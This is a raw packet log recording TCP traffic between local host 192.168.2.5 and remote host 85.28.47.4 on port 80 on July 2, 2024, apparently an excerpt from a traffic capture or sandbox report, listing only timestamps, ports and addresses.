Jul 2, 2024 04:12:07.223922014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223929882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223939896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223948956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223956108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223965883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223973989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.223983049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223993063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.223993063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224015951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224035978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224040031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224065065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224073887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224073887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224097967 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224107027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224143028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224153042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224168062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224184036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224184036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224198103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224210978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224214077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224224091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224242926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224251986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224257946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224267960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224296093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224303961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224319935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224329948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224338055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224345922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224355936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224365950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224385977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224412918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224572897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224582911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224606037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224617958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224617958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224632025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224642038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224642038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224659920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224661112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224672079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224673033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224683046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224689007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224695921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224698067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224709988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224714994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.224725008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.224741936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.324605942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324646950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324659109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324681997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324691057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324706078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324711084 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324755907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.324785948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324795961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324811935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324821949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324832916 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.324855089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324865103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.324935913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.324996948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325010061 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325017929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325032949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325042009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325057030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325057030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325072050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325081110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325088978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325097084 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325107098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325112104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325126886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325129986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325143099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325151920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325160980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325167894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325176954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325186014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325200081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325206041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325220108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325228930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325237989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325244904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325253963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325265884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325269938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325278997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325282097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325284004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325304031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325309038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325326920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325330019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325340033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325350046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325352907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325366020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325372934 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325376987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325396061 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325421095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325455904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325464964 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325479984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325490952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325499058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325505018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325508118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325519085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325532913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325537920 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325548887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325558901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325566053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325583935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325587034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325598001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325603962 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325613022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325624943 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325633049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325642109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325647116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325656891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325659990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325666904 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325692892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325712919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325722933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325737000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325747967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325752020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325762033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325777054 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325781107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325794935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325799942 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325809956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325818062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325822115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325841904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325850010 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325851917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325870991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325876951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325881004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325900078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325900078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325906992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325922966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325932980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.325975895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.325988054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326003075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326011896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326025963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326026917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326040983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326050997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326050043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326059103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326067924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326076984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326078892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326095104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326097965 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326106071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326117992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326124907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326143026 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326158047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326294899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326304913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326320887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326330900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326340914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326349020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326359034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326363087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326376915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326386929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326386929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326395988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326404095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326409101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326428890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326431990 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326441050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326452017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326452971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326467991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326476097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326488972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326498032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326498985 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326514959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326519966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326524973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326534033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326541901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326555967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326556921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326570988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326580048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326581001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326596022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326605082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326605082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326616049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326622963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.326642036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.326662064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.401437998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401485920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401494026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401568890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401573896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.401582003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401592970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401607037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401618958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401659012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.401724100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401734114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401752949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401762009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401770115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.401777029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401788950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.401788950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401799917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401804924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401813984 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.401837111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401844978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.401846886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401865959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401875019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401884079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.401899099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401906013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.401913881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401923895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401926994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401940107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401947975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.401958942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401971102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401979923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.401985884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.401993036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.402002096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.402008057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.402018070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.402020931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.402038097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.402045012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.402053118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.402065039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.402076960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.402077913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.402096033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.402102947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.402107000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.402113914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.402127981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.402131081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.402143002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.402159929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.402165890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.402169943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.402194977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.402209044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.414000988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414056063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.414083958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414092064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414103985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414108992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414123058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.414132118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414140940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414154053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414155006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.414175987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414185047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414189100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.414189100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.414201021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414207935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.414217949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414227962 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.414232016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.414257050 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.414282084 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.453094959 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.457953930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630485058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630516052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630527020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630549908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630570889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630613089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630609989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630628109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630647898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630650043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630666971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630676031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630681038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.630682945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.630696058 CEST	80	49704	85.28.47.4	192.168.2.5
